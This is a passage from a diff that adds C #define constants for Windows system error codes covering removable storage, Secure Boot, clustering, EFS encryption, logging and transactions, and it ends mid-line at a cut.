+#define ERROR_UNABLE_TO_CLEAN 0x10d7 +#define ERROR_OBJECT_NOT_FOUND 0x10d8 +#define ERROR_DATABASE_FAILURE 0x10d9 +#define ERROR_DATABASE_FULL 0x10da +#define ERROR_MEDIA_INCOMPATIBLE 0x10db +#define ERROR_RESOURCE_NOT_PRESENT 0x10dc +#define ERROR_INVALID_OPERATION 0x10dd +#define ERROR_MEDIA_NOT_AVAILABLE 0x10de +#define ERROR_DEVICE_NOT_AVAILABLE 0x10df +#define ERROR_REQUEST_REFUSED 0x10e0 +#define ERROR_INVALID_DRIVE_OBJECT 0x10e1 +#define ERROR_LIBRARY_FULL 0x10e2 +#define ERROR_MEDIUM_NOT_ACCESSIBLE 0x10e3 +#define ERROR_UNABLE_TO_LOAD_MEDIUM 0x10e4 +#define ERROR_UNABLE_TO_INVENTORY_DRIVE 0x10e5 +#define ERROR_UNABLE_TO_INVENTORY_SLOT 0x10e6 +#define ERROR_UNABLE_TO_INVENTORY_TRANSPORT 0x10e7 +#define ERROR_TRANSPORT_FULL 0x10e8 +#define ERROR_CONTROLLING_IEPORT 0x10e9 +#define ERROR_UNABLE_TO_EJECT_MOUNTED_MEDIA 0x10ea +#define ERROR_CLEANER_SLOT_SET 0x10eb +#define ERROR_CLEANER_SLOT_NOT_SET 0x10ec +#define ERROR_CLEANER_CARTRIDGE_SPENT 0x10ed +#define ERROR_UNEXPECTED_OMID 0x10ee +#define ERROR_CANT_DELETE_LAST_ITEM 0x10ef +#define ERROR_MESSAGE_EXCEEDS_MAX_SIZE 0x10f0 +#define ERROR_VOLUME_CONTAINS_SYS_FILES 0x10f1 +#define ERROR_INDIGENOUS_TYPE 0x10f2 +#define ERROR_NO_SUPPORTING_DRIVES 0x10f3 +#define ERROR_CLEANER_CARTRIDGE_INSTALLED 0x10f4 +#define ERROR_IEPORT_FULL 0x10f5 +#define ERROR_FILE_OFFLINE 0x10fe +#define ERROR_REMOTE_STORAGE_NOT_ACTIVE 0x10ff +#define ERROR_REMOTE_STORAGE_MEDIA_ERROR 0x1100 +#define ERROR_NOT_A_REPARSE_POINT 0x1126 +#define ERROR_REPARSE_ATTRIBUTE_CONFLICT 0x1127 +#define ERROR_INVALID_REPARSE_DATA 0x1128 +#define ERROR_REPARSE_TAG_INVALID 0x1129 +#define ERROR_REPARSE_TAG_MISMATCH 0x112a +#define ERROR_REPARSE_POINT_ENCOUNTERED 0x112b +#define ERROR_APP_DATA_NOT_FOUND 0x1130 +#define ERROR_APP_DATA_EXPIRED 0x1131 +#define ERROR_APP_DATA_CORRUPT 0x1132 +#define ERROR_APP_DATA_LIMIT_EXCEEDED 0x1133 +#define ERROR_APP_DATA_REBOOT_REQUIRED 0x1134 +#define ERROR_SECUREBOOT_ROLLBACK_DETECTED 0x1144 +#define ERROR_SECUREBOOT_POLICY_VIOLATION 0x1145 +#define ERROR_SECUREBOOT_INVALID_POLICY 0x1146 +#define ERROR_SECUREBOOT_POLICY_PUBLISHER_NOT_FOUND 0x1147 +#define ERROR_SECUREBOOT_POLICY_NOT_SIGNED 0x1148 +#define ERROR_SECUREBOOT_NOT_ENABLED 0x1149 +#define ERROR_SECUREBOOT_FILE_REPLACED 0x114a +#define ERROR_SECUREBOOT_POLICY_NOT_AUTHORIZED 0x114b +#define ERROR_SECUREBOOT_POLICY_UNKNOWN 0x114c +#define ERROR_SECUREBOOT_POLICY_MISSING_ANTIROLLBACKVERSION 0x114d +#define ERROR_SECUREBOOT_PLATFORM_ID_MISMATCH 0x114e +#define ERROR_SECUREBOOT_POLICY_ROLLBACK_DETECTED 0x114f +#define ERROR_SECUREBOOT_POLICY_UPGRADE_MISMATCH 0x1150 +#define ERROR_SECUREBOOT_REQUIRED_POLICY_FILE_MISSING 0x1151 +#define ERROR_SECUREBOOT_NOT_BASE_POLICY 0x1152 +#define ERROR_SECUREBOOT_NOT_SUPPLEMENTAL_POLICY 0x1153 +#define ERROR_OFFLOAD_READ_FLT_NOT_SUPPORTED 0x1158 +#define ERROR_OFFLOAD_WRITE_FLT_NOT_SUPPORTED 0x1159 +#define ERROR_OFFLOAD_READ_FILE_NOT_SUPPORTED 0x115a +#define ERROR_OFFLOAD_WRITE_FILE_NOT_SUPPORTED 0x115b +#define ERROR_ALREADY_HAS_STREAM_ID 0x115c +#define ERROR_SMR_GARBAGE_COLLECTION_REQUIRED 0x115d +#define ERROR_WOF_WIM_HEADER_CORRUPT 0x115e +#define ERROR_WOF_WIM_RESOURCE_TABLE_CORRUPT 0x115f +#define ERROR_WOF_FILE_RESOURCE_TABLE_CORRUPT 0x1160 +#define ERROR_OBJECT_IS_IMMUTABLE 0x1161 +#define ERROR_VOLUME_NOT_SIS_ENABLED 0x1194 +#define ERROR_SYSTEM_INTEGRITY_ROLLBACK_DETECTED 0x11c6 +#define ERROR_SYSTEM_INTEGRITY_POLICY_VIOLATION 0x11c7 +#define ERROR_SYSTEM_INTEGRITY_INVALID_POLICY 0x11c8 +#define ERROR_SYSTEM_INTEGRITY_POLICY_NOT_SIGNED 0x11c9 +#define ERROR_SYSTEM_INTEGRITY_TOO_MANY_POLICIES 0x11ca +#define ERROR_SYSTEM_INTEGRITY_SUPPLEMENTAL_POLICY_NOT_AUTHORIZED 0x11cb +#define ERROR_SYSTEM_INTEGRITY_REPUTATION_MALICIOUS 0x11cc +#define ERROR_SYSTEM_INTEGRITY_REPUTATION_PUA 0x11cd +#define ERROR_SYSTEM_INTEGRITY_REPUTATION_DANGEROUS_EXT 0x11ce +#define ERROR_SYSTEM_INTEGRITY_REPUTATION_OFFLINE 0x11cf +#define ERROR_VSM_NOT_INITIALIZED 0x11d0 +#define ERROR_VSM_DMA_PROTECTION_NOT_IN_USE 0x11d1 +#define ERROR_VSM_KEY_CI_POLICY_ROLLBACK_DETECTED 0x11d2 +#define ERROR_VSMIDK_KEYGEN_FAILURE 0x11d3 +#define ERROR_VSMIDK_EXPORT_FAILURE 0x11d4 +#define ERROR_VSMIDK_MODULUS_MISMATCH 0x11d5 +#define ERROR_PLATFORM_MANIFEST_NOT_AUTHORIZED 0x11da +#define ERROR_PLATFORM_MANIFEST_INVALID 0x11db +#define ERROR_PLATFORM_MANIFEST_FILE_NOT_AUTHORIZED 0x11dc +#define ERROR_PLATFORM_MANIFEST_CATALOG_NOT_AUTHORIZED 0x11dd +#define ERROR_PLATFORM_MANIFEST_BINARY_ID_NOT_FOUND 0x11de +#define ERROR_PLATFORM_MANIFEST_NOT_ACTIVE 0x11df +#define ERROR_PLATFORM_MANIFEST_NOT_SIGNED 0x11e0 +#define ERROR_SYSTEM_INTEGRITY_REPUTATION_UNFRIENDLY_FILE 0x11e4 +#define ERROR_SYSTEM_INTEGRITY_REPUTATION_UNATTAINABLE 0x11e5 +#define ERROR_SYSTEM_INTEGRITY_REPUTATION_EXPLICIT_DENY_FILE 0x11e6 +#define ERROR_SYSTEM_INTEGRITY_WHQL_NOT_SATISFIED 0x11e7 +#define ERROR_DEPENDENT_RESOURCE_EXISTS 0x1389 +#define ERROR_DEPENDENCY_NOT_FOUND 0x138a +#define ERROR_DEPENDENCY_ALREADY_EXISTS 0x138b +#define ERROR_RESOURCE_NOT_ONLINE 0x138c +#define ERROR_HOST_NODE_NOT_AVAILABLE 0x138d +#define ERROR_RESOURCE_NOT_AVAILABLE 0x138e +#define ERROR_RESOURCE_NOT_FOUND 0x138f +#define ERROR_SHUTDOWN_CLUSTER 0x1390 +#define ERROR_CANT_EVICT_ACTIVE_NODE 0x1391 +#define ERROR_OBJECT_ALREADY_EXISTS 0x1392 +#define ERROR_OBJECT_IN_LIST 0x1393 +#define ERROR_GROUP_NOT_AVAILABLE 0x1394 +#define ERROR_GROUP_NOT_FOUND 0x1395 +#define ERROR_GROUP_NOT_ONLINE 0x1396 +#define ERROR_HOST_NODE_NOT_RESOURCE_OWNER 0x1397 +#define ERROR_HOST_NODE_NOT_GROUP_OWNER 0x1398 +#define ERROR_RESMON_CREATE_FAILED 0x1399 +#define ERROR_RESMON_ONLINE_FAILED 0x139a +#define ERROR_RESOURCE_ONLINE 0x139b +#define ERROR_QUORUM_RESOURCE 0x139c +#define ERROR_NOT_QUORUM_CAPABLE 0x139d +#define ERROR_CLUSTER_SHUTTING_DOWN 0x139e +#define ERROR_INVALID_STATE 0x139f +#define ERROR_RESOURCE_PROPERTIES_STORED 0x13a0 +#define ERROR_NOT_QUORUM_CLASS 0x13a1 +#define ERROR_CORE_RESOURCE 0x13a2 +#define ERROR_QUORUM_RESOURCE_ONLINE_FAILED 0x13a3 +#define ERROR_QUORUMLOG_OPEN_FAILED 0x13a4 +#define ERROR_CLUSTERLOG_CORRUPT 0x13a5 +#define ERROR_CLUSTERLOG_RECORD_EXCEEDS_MAXSIZE 0x13a6 +#define ERROR_CLUSTERLOG_EXCEEDS_MAXSIZE 0x13a7 +#define ERROR_CLUSTERLOG_CHKPOINT_NOT_FOUND 0x13a8 +#define ERROR_CLUSTERLOG_NOT_ENOUGH_SPACE 0x13a9 +#define ERROR_QUORUM_OWNER_ALIVE 0x13aa +#define ERROR_NETWORK_NOT_AVAILABLE 0x13ab +#define ERROR_NODE_NOT_AVAILABLE 0x13ac +#define ERROR_ALL_NODES_NOT_AVAILABLE 0x13ad +#define ERROR_RESOURCE_FAILED 0x13ae +#define ERROR_CLUSTER_INVALID_NODE 0x13af +#define ERROR_CLUSTER_NODE_EXISTS 0x13b0 +#define ERROR_CLUSTER_JOIN_IN_PROGRESS 0x13b1 +#define ERROR_CLUSTER_NODE_NOT_FOUND 0x13b2 +#define ERROR_CLUSTER_LOCAL_NODE_NOT_FOUND 0x13b3 +#define ERROR_CLUSTER_NETWORK_EXISTS 0x13b4 +#define ERROR_CLUSTER_NETWORK_NOT_FOUND 0x13b5 +#define ERROR_CLUSTER_NETINTERFACE_EXISTS 0x13b6 +#define ERROR_CLUSTER_NETINTERFACE_NOT_FOUND 0x13b7 +#define ERROR_CLUSTER_INVALID_REQUEST 0x13b8 +#define ERROR_CLUSTER_INVALID_NETWORK_PROVIDER 0x13b9 +#define ERROR_CLUSTER_NODE_DOWN 0x13ba +#define ERROR_CLUSTER_NODE_UNREACHABLE 0x13bb +#define ERROR_CLUSTER_NODE_NOT_MEMBER 0x13bc +#define ERROR_CLUSTER_JOIN_NOT_IN_PROGRESS 0x13bd +#define ERROR_CLUSTER_INVALID_NETWORK 0x13be +#define ERROR_CLUSTER_NODE_UP 0x13c0 +#define ERROR_CLUSTER_IPADDR_IN_USE 0x13c1 +#define ERROR_CLUSTER_NODE_NOT_PAUSED 0x13c2 +#define ERROR_CLUSTER_NO_SECURITY_CONTEXT 0x13c3 +#define ERROR_CLUSTER_NETWORK_NOT_INTERNAL 0x13c4 +#define ERROR_CLUSTER_NODE_ALREADY_UP 0x13c5 +#define ERROR_CLUSTER_NODE_ALREADY_DOWN 0x13c6 +#define ERROR_CLUSTER_NETWORK_ALREADY_ONLINE 0x13c7 +#define ERROR_CLUSTER_NETWORK_ALREADY_OFFLINE 0x13c8 +#define ERROR_CLUSTER_NODE_ALREADY_MEMBER 0x13c9 +#define ERROR_CLUSTER_LAST_INTERNAL_NETWORK 0x13ca +#define ERROR_CLUSTER_NETWORK_HAS_DEPENDENTS 0x13cb +#define ERROR_INVALID_OPERATION_ON_QUORUM 0x13cc +#define ERROR_DEPENDENCY_NOT_ALLOWED 0x13cd +#define ERROR_CLUSTER_NODE_PAUSED 0x13ce +#define ERROR_NODE_CANT_HOST_RESOURCE 0x13cf +#define ERROR_CLUSTER_NODE_NOT_READY 0x13d0 +#define ERROR_CLUSTER_NODE_SHUTTING_DOWN 0x13d1 +#define ERROR_CLUSTER_JOIN_ABORTED 0x13d2 +#define ERROR_CLUSTER_INCOMPATIBLE_VERSIONS 0x13d3 +#define ERROR_CLUSTER_MAXNUM_OF_RESOURCES_EXCEEDED 0x13d4 +#define ERROR_CLUSTER_SYSTEM_CONFIG_CHANGED 0x13d5 +#define ERROR_CLUSTER_RESOURCE_TYPE_NOT_FOUND 0x13d6 +#define ERROR_CLUSTER_RESTYPE_NOT_SUPPORTED 0x13d7 +#define ERROR_CLUSTER_RESNAME_NOT_FOUND 0x13d8 +#define ERROR_CLUSTER_NO_RPC_PACKAGES_REGISTERED 0x13d9 +#define ERROR_CLUSTER_OWNER_NOT_IN_PREFLIST 0x13da +#define ERROR_CLUSTER_DATABASE_SEQMISMATCH 0x13db +#define ERROR_RESMON_INVALID_STATE 0x13dc +#define ERROR_CLUSTER_GUM_NOT_LOCKER 0x13dd +#define ERROR_QUORUM_DISK_NOT_FOUND 0x13de +#define ERROR_DATABASE_BACKUP_CORRUPT 0x13df +#define ERROR_CLUSTER_NODE_ALREADY_HAS_DFS_ROOT 0x13e0 +#define ERROR_RESOURCE_PROPERTY_UNCHANGEABLE 0x13e1 +#define ERROR_NO_ADMIN_ACCESS_POINT 0x13e2 +#define ERROR_CLUSTER_MEMBERSHIP_INVALID_STATE 0x1702 +#define ERROR_CLUSTER_QUORUMLOG_NOT_FOUND 0x1703 +#define ERROR_CLUSTER_MEMBERSHIP_HALT 0x1704 +#define ERROR_CLUSTER_INSTANCE_ID_MISMATCH 0x1705 +#define ERROR_CLUSTER_NETWORK_NOT_FOUND_FOR_IP 0x1706 +#define ERROR_CLUSTER_PROPERTY_DATA_TYPE_MISMATCH 0x1707 +#define ERROR_CLUSTER_EVICT_WITHOUT_CLEANUP 0x1708 +#define ERROR_CLUSTER_PARAMETER_MISMATCH 0x1709 +#define ERROR_NODE_CANNOT_BE_CLUSTERED 0x170a +#define ERROR_CLUSTER_WRONG_OS_VERSION 0x170b +#define ERROR_CLUSTER_CANT_CREATE_DUP_CLUSTER_NAME 0x170c +#define ERROR_CLUSCFG_ALREADY_COMMITTED 0x170d +#define ERROR_CLUSCFG_ROLLBACK_FAILED 0x170e +#define ERROR_CLUSCFG_SYSTEM_DISK_DRIVE_LETTER_CONFLICT 0x170f +#define ERROR_CLUSTER_OLD_VERSION 0x1710 +#define ERROR_CLUSTER_MISMATCHED_COMPUTER_ACCT_NAME 0x1711 +#define ERROR_CLUSTER_NO_NET_ADAPTERS 0x1712 +#define ERROR_CLUSTER_POISONED 0x1713 +#define ERROR_CLUSTER_GROUP_MOVING 0x1714 +#define ERROR_CLUSTER_RESOURCE_TYPE_BUSY 0x1715 +#define ERROR_RESOURCE_CALL_TIMED_OUT 0x1716 +#define ERROR_INVALID_CLUSTER_IPV6_ADDRESS 0x1717 +#define ERROR_CLUSTER_INTERNAL_INVALID_FUNCTION 0x1718 +#define ERROR_CLUSTER_PARAMETER_OUT_OF_BOUNDS 0x1719 +#define ERROR_CLUSTER_PARTIAL_SEND 0x171a +#define ERROR_CLUSTER_REGISTRY_INVALID_FUNCTION 0x171b +#define ERROR_CLUSTER_INVALID_STRING_TERMINATION 0x171c +#define ERROR_CLUSTER_INVALID_STRING_FORMAT 0x171d +#define ERROR_CLUSTER_DATABASE_TRANSACTION_IN_PROGRESS 0x171e +#define ERROR_CLUSTER_DATABASE_TRANSACTION_NOT_IN_PROGRESS 0x171f +#define ERROR_CLUSTER_NULL_DATA 0x1720 +#define ERROR_CLUSTER_PARTIAL_READ 0x1721 +#define ERROR_CLUSTER_PARTIAL_WRITE 0x1722 +#define ERROR_CLUSTER_CANT_DESERIALIZE_DATA 0x1723 +#define ERROR_DEPENDENT_RESOURCE_PROPERTY_CONFLICT 0x1724 +#define ERROR_CLUSTER_NO_QUORUM 0x1725 +#define ERROR_CLUSTER_INVALID_IPV6_NETWORK 0x1726 +#define ERROR_CLUSTER_INVALID_IPV6_TUNNEL_NETWORK 0x1727 +#define ERROR_QUORUM_NOT_ALLOWED_IN_THIS_GROUP 0x1728 +#define ERROR_DEPENDENCY_TREE_TOO_COMPLEX 0x1729 +#define ERROR_EXCEPTION_IN_RESOURCE_CALL 0x172a +#define ERROR_CLUSTER_RHS_FAILED_INITIALIZATION 0x172b +#define ERROR_CLUSTER_NOT_INSTALLED 0x172c +#define ERROR_CLUSTER_RESOURCES_MUST_BE_ONLINE_ON_THE_SAME_NODE 0x172d +#define ERROR_CLUSTER_MAX_NODES_IN_CLUSTER 0x172e +#define ERROR_CLUSTER_TOO_MANY_NODES 0x172f +#define ERROR_CLUSTER_OBJECT_ALREADY_USED 0x1730 +#define ERROR_NONCORE_GROUPS_FOUND 0x1731 +#define ERROR_FILE_SHARE_RESOURCE_CONFLICT 0x1732 +#define ERROR_CLUSTER_EVICT_INVALID_REQUEST 0x1733 +#define ERROR_CLUSTER_SINGLETON_RESOURCE 0x1734 +#define ERROR_CLUSTER_GROUP_SINGLETON_RESOURCE 0x1735 +#define ERROR_CLUSTER_RESOURCE_PROVIDER_FAILED 0x1736 +#define ERROR_CLUSTER_RESOURCE_CONFIGURATION_ERROR 0x1737 +#define ERROR_CLUSTER_GROUP_BUSY 0x1738 +#define ERROR_CLUSTER_NOT_SHARED_VOLUME 0x1739 +#define ERROR_CLUSTER_INVALID_SECURITY_DESCRIPTOR 0x173a +#define ERROR_CLUSTER_SHARED_VOLUMES_IN_USE 0x173b +#define ERROR_CLUSTER_USE_SHARED_VOLUMES_API 0x173c +#define ERROR_CLUSTER_BACKUP_IN_PROGRESS 0x173d +#define ERROR_NON_CSV_PATH 0x173e +#define ERROR_CSV_VOLUME_NOT_LOCAL 0x173f +#define ERROR_CLUSTER_WATCHDOG_TERMINATING 0x1740 +#define ERROR_CLUSTER_RESOURCE_VETOED_MOVE_INCOMPATIBLE_NODES 0x1741 +#define ERROR_CLUSTER_INVALID_NODE_WEIGHT 0x1742 +#define ERROR_CLUSTER_RESOURCE_VETOED_CALL 0x1743 +#define ERROR_RESMON_SYSTEM_RESOURCES_LACKING 0x1744 +#define ERROR_CLUSTER_RESOURCE_VETOED_MOVE_NOT_ENOUGH_RESOURCES_ON_DESTINATION 0x1745 +#define ERROR_CLUSTER_RESOURCE_VETOED_MOVE_NOT_ENOUGH_RESOURCES_ON_SOURCE 0x1746 +#define ERROR_CLUSTER_GROUP_QUEUED 0x1747 +#define ERROR_CLUSTER_RESOURCE_LOCKED_STATUS 0x1748 +#define ERROR_CLUSTER_SHARED_VOLUME_FAILOVER_NOT_ALLOWED 0x1749 +#define ERROR_CLUSTER_NODE_DRAIN_IN_PROGRESS 0x174a +#define ERROR_CLUSTER_DISK_NOT_CONNECTED 0x174b +#define ERROR_DISK_NOT_CSV_CAPABLE 0x174c +#define ERROR_RESOURCE_NOT_IN_AVAILABLE_STORAGE 0x174d +#define ERROR_CLUSTER_SHARED_VOLUME_REDIRECTED 0x174e +#define ERROR_CLUSTER_SHARED_VOLUME_NOT_REDIRECTED 0x174f +#define ERROR_CLUSTER_CANNOT_RETURN_PROPERTIES 0x1750 +#define ERROR_CLUSTER_RESOURCE_CONTAINS_UNSUPPORTED_DIFF_AREA_FOR_SHARED_VOLUMES 0x1751 +#define ERROR_CLUSTER_RESOURCE_IS_IN_MAINTENANCE_MODE 0x1752 +#define ERROR_CLUSTER_AFFINITY_CONFLICT 0x1753 +#define ERROR_CLUSTER_RESOURCE_IS_REPLICA_VIRTUAL_MACHINE 0x1754 +#define ERROR_CLUSTER_UPGRADE_INCOMPATIBLE_VERSIONS 0x1755 +#define ERROR_CLUSTER_UPGRADE_FIX_QUORUM_NOT_SUPPORTED 0x1756 +#define ERROR_CLUSTER_UPGRADE_RESTART_REQUIRED 0x1757 +#define ERROR_CLUSTER_UPGRADE_IN_PROGRESS 0x1758 +#define ERROR_CLUSTER_UPGRADE_INCOMPLETE 0x1759 +#define ERROR_CLUSTER_NODE_IN_GRACE_PERIOD 0x175a +#define ERROR_CLUSTER_CSV_IO_PAUSE_TIMEOUT 0x175b +#define ERROR_NODE_NOT_ACTIVE_CLUSTER_MEMBER 0x175c +#define ERROR_CLUSTER_RESOURCE_NOT_MONITORED 0x175d +#define ERROR_CLUSTER_RESOURCE_DOES_NOT_SUPPORT_UNMONITORED 0x175e +#define ERROR_CLUSTER_RESOURCE_IS_REPLICATED 0x175f +#define ERROR_CLUSTER_NODE_ISOLATED 0x1760 +#define ERROR_CLUSTER_NODE_QUARANTINED 0x1761 +#define ERROR_CLUSTER_DATABASE_UPDATE_CONDITION_FAILED 0x1762 +#define ERROR_CLUSTER_SPACE_DEGRADED 0x1763 +#define ERROR_CLUSTER_TOKEN_DELEGATION_NOT_SUPPORTED 0x1764 +#define ERROR_CLUSTER_CSV_INVALID_HANDLE 0x1765 +#define ERROR_CLUSTER_CSV_SUPPORTED_ONLY_ON_COORDINATOR 0x1766 +#define ERROR_GROUPSET_NOT_AVAILABLE 0x1767 +#define ERROR_GROUPSET_NOT_FOUND 0x1768 +#define ERROR_GROUPSET_CANT_PROVIDE 0x1769 +#define ERROR_CLUSTER_FAULT_DOMAIN_PARENT_NOT_FOUND 0x176a +#define ERROR_CLUSTER_FAULT_DOMAIN_INVALID_HIERARCHY 0x176b +#define ERROR_CLUSTER_FAULT_DOMAIN_FAILED_S2D_VALIDATION 0x176c +#define ERROR_CLUSTER_FAULT_DOMAIN_S2D_CONNECTIVITY_LOSS 0x176d +#define ERROR_CLUSTER_INVALID_INFRASTRUCTURE_FILESERVER_NAME 0x176e +#define ERROR_CLUSTERSET_MANAGEMENT_CLUSTER_UNREACHABLE 0x176f +#define ERROR_ENCRYPTION_FAILED 0x1770 +#define ERROR_DECRYPTION_FAILED 0x1771 +#define ERROR_FILE_ENCRYPTED 0x1772 +#define ERROR_NO_RECOVERY_POLICY 0x1773 +#define ERROR_NO_EFS 0x1774 +#define ERROR_WRONG_EFS 0x1775 +#define ERROR_NO_USER_KEYS 0x1776 +#define ERROR_FILE_NOT_ENCRYPTED 0x1777 +#define ERROR_NOT_EXPORT_FORMAT 0x1778 +#define ERROR_FILE_READ_ONLY 0x1779 +#define ERROR_DIR_EFS_DISALLOWED 0x177a +#define ERROR_EFS_SERVER_NOT_TRUSTED 0x177b +#define ERROR_BAD_RECOVERY_POLICY 0x177c +#define ERROR_EFS_ALG_BLOB_TOO_BIG 0x177d +#define ERROR_VOLUME_NOT_SUPPORT_EFS 0x177e +#define ERROR_EFS_DISABLED 0x177f +#define ERROR_EFS_VERSION_NOT_SUPPORT 0x1780 +#define ERROR_CS_ENCRYPTION_INVALID_SERVER_RESPONSE 0x1781 +#define ERROR_CS_ENCRYPTION_UNSUPPORTED_SERVER 0x1782 +#define ERROR_CS_ENCRYPTION_EXISTING_ENCRYPTED_FILE 0x1783 +#define ERROR_CS_ENCRYPTION_NEW_ENCRYPTED_FILE 0x1784 +#define ERROR_CS_ENCRYPTION_FILE_NOT_CSE 0x1785 +#define ERROR_ENCRYPTION_POLICY_DENIES_OPERATION 0x1786 +#define ERROR_WIP_ENCRYPTION_FAILED 0x1787 +#define ERROR_PDE_ENCRYPTION_UNAVAILABLE_FAILURE 0x1788 +#define ERROR_PDE_DECRYPTION_UNAVAILABLE_FAILURE 0x1789 +#define ERROR_PDE_DECRYPTION_UNAVAILABLE 0x178a +#define ERROR_NO_BROWSER_SERVERS_FOUND 0x17e6 +#define ERROR_CLUSTER_OBJECT_IS_CLUSTER_SET_VM 0x186a +#define ERROR_CNU_TEMPLATE_ALREADY_EXISTS 0x186b +#define ERROR_CNU_TEMPLATE_NAME_NOT_FOUND 0x186c +#define ERROR_CNU_RUN_NAME_NOT_FOUND 0x186d +#define ERROR_CNU_RUN_ALREADY_IN_PROGRESS 0x186e +#define ERROR_CNU_RUN_NOT_IN_PROGRESS 0x186f +#define ERROR_CNU_NOT_READY 0x1870 +#define ERROR_CAMERA_INVALID_CONFIGURATION 0x18ce +#define ERROR_CAMERA_INSUFFICIENT_BANDWIDTH 0x18cf +#define ERROR_LOG_SECTOR_INVALID 0x19c8 +#define ERROR_LOG_SECTOR_PARITY_INVALID 0x19c9 +#define ERROR_LOG_SECTOR_REMAPPED 0x19ca +#define ERROR_LOG_BLOCK_INCOMPLETE 0x19cb +#define ERROR_LOG_INVALID_RANGE 0x19cc +#define ERROR_LOG_BLOCKS_EXHAUSTED 0x19cd +#define ERROR_LOG_READ_CONTEXT_INVALID 0x19ce +#define ERROR_LOG_RESTART_INVALID 0x19cf +#define ERROR_LOG_BLOCK_VERSION 0x19d0 +#define ERROR_LOG_BLOCK_INVALID 0x19d1 +#define ERROR_LOG_READ_MODE_INVALID 0x19d2 +#define ERROR_LOG_NO_RESTART 0x19d3 +#define ERROR_LOG_METADATA_CORRUPT 0x19d4 +#define ERROR_LOG_METADATA_INVALID 0x19d5 +#define ERROR_LOG_METADATA_INCONSISTENT 0x19d6 +#define ERROR_LOG_RESERVATION_INVALID 0x19d7 +#define ERROR_LOG_CANT_DELETE 0x19d8 +#define ERROR_LOG_CONTAINER_LIMIT_EXCEEDED 0x19d9 +#define ERROR_LOG_START_OF_LOG 0x19da +#define ERROR_LOG_POLICY_ALREADY_INSTALLED 0x19db +#define ERROR_LOG_POLICY_NOT_INSTALLED 0x19dc +#define ERROR_LOG_POLICY_INVALID 0x19dd +#define ERROR_LOG_POLICY_CONFLICT 0x19de +#define ERROR_LOG_PINNED_ARCHIVE_TAIL 0x19df +#define ERROR_LOG_RECORD_NONEXISTENT 0x19e0 +#define ERROR_LOG_RECORDS_RESERVED_INVALID 0x19e1 +#define ERROR_LOG_SPACE_RESERVED_INVALID 0x19e2 +#define ERROR_LOG_TAIL_INVALID 0x19e3 +#define ERROR_LOG_FULL 0x19e4 +#define ERROR_COULD_NOT_RESIZE_LOG 0x19e5 +#define ERROR_LOG_MULTIPLEXED 0x19e6 +#define ERROR_LOG_DEDICATED 0x19e7 +#define ERROR_LOG_ARCHIVE_NOT_IN_PROGRESS 0x19e8 +#define ERROR_LOG_ARCHIVE_IN_PROGRESS 0x19e9 +#define ERROR_LOG_EPHEMERAL 0x19ea +#define ERROR_LOG_NOT_ENOUGH_CONTAINERS 0x19eb +#define ERROR_LOG_CLIENT_ALREADY_REGISTERED 0x19ec +#define ERROR_LOG_CLIENT_NOT_REGISTERED 0x19ed +#define ERROR_LOG_FULL_HANDLER_IN_PROGRESS 0x19ee +#define ERROR_LOG_CONTAINER_READ_FAILED 0x19ef +#define ERROR_LOG_CONTAINER_WRITE_FAILED 0x19f0 +#define ERROR_LOG_CONTAINER_OPEN_FAILED 0x19f1 +#define ERROR_LOG_CONTAINER_STATE_INVALID 0x19f2 +#define ERROR_LOG_STATE_INVALID 0x19f3 +#define ERROR_LOG_PINNED 0x19f4 +#define ERROR_LOG_METADATA_FLUSH_FAILED 0x19f5 +#define ERROR_LOG_INCONSISTENT_SECURITY 0x19f6 +#define ERROR_LOG_APPENDED_FLUSH_FAILED 0x19f7 +#define ERROR_LOG_PINNED_RESERVATION 0x19f8 +#define ERROR_INVALID_TRANSACTION 0x1a2c +#define ERROR_TRANSACTION_NOT_ACTIVE 0x1a2d +#define ERROR_TRANSACTION_REQUEST_NOT_VALID 0x1a2e +#define ERROR_TRANSACTION_NOT_REQUESTED 0x1a2f +#define ERROR_TRANSACTION_ALREADY_ABORTED 0x1a30 +#define ERROR_TRANSACTION_ALREADY_COMMITTED 0x1a31 +#define ERROR_TM_INITIALIZATION_FAILED 0x1a32 +#define ERROR_RESOURCEMANAGER_READ_ONLY 0x1a33 +#define ERROR_TRANSACTION_NOT_JOINED 0x1a34 +#define ERROR_TRANSACTION_SUPERIOR_EXISTS 0x1a35 +#define ERROR_CRM_PROTOCOL_ALREADY_EXISTS 0x1a36 +#define ERROR_TRANSACTION_PROPAGATION_FAILED 0x1a37 +#define ERROR_CRM_PROTOCOL_NOT_FOUND 0x1a38 +#define ERROR_TRANSACTION_INVALID_MARSHALL_BUFFER 0x1a39 +#define ERROR_CURRENT_TRANSACTION_NOT_VALID 0x1a3a +#define ERROR_TRANSACTION_NOT_FOUND 0x1a3b +#define ERROR_RESOURCEMANAGER_NOT_FOUND 0x1a3c +#define ERROR_ENLISTMENT_NOT_FOUND 0x1a3d +#define ERROR_TRANSACTIONMANAGER_NOT_FOUND 0x1a3e +#define ERROR_TRANSACTIONMANAGER_NOT_ONLINE 0x1a3f +#define ERROR_TRANSACTIONMANAGER_RECOVERY_NAME_COLLISION 0x1a40 +#define ERROR_TRANSACTION_NOT_ROOT 0x1a41 +#define ERROR_TRANSACTION_OBJECT_EXPIRED 0x1a42 +#define ERROR_TRANSACTION_RESPONSE_NOT_ENLISTED 0x1a43 +#define ERROR_TRANSACTION_RECORD_TOO_LONG 0x1a44 +#define ERROR_IMPLICIT_TRANSACTION_NOT_SUPPORTED 0x1a45 +#define ERROR_TRANSACTION_INTEGRITY_VIOLATED 0x1a46 +#define ERROR_TRANSACTIONMANAGER_IDENTITY_MISMATCH 0x1a47 +#define ERROR_RM_CANNOT_BE_FROZEN_FOR_SNAPSHOT 0x1a48 +#define ERROR_TRANSACTION_MUST_WRITETHROUGH 0x1a49 +#define ERROR_TRANSACTION_NO_SUPERIOR 0x1a4a +#define ERROR_HEURISTIC_DAMAGE_POSSIBLE 0x1a4b +#define ERROR_TRANSACTIONAL_CONFLICT 0x1a90 +#define ERROR_RM_NOT_ACTIVE 0x1a91 +#define ERROR_RM_METADATA_CORRUPT 0x1a92 +#define ERROR_DIRECTORY_NOT_RM 0x1a93 +#define ERROR_TRANSACTIONS_UNSUPPORTED_REMOTE 0x1a95 +#define ERROR_LOG_RESIZE_INVALID_SIZE 0x1a96 +#define ERROR_OBJECT_NO_LONGER_EXISTS 0x1a97 +#define ERROR_STREAM_MINIVERSION_NOT_FOUND 0x1a98 +#define ERROR_STREAM_MINIVERSION_NOT_VALID 0x1a99 +#define ERROR_MINIVERSION_INACCESSIBLE_FROM_SPECIFIED_TRANSACTION 0x1a9a +#define ERROR_CANT_OPEN_MINIVERSION_WITH_MODIFY_INTENT 0x1a9b +#define 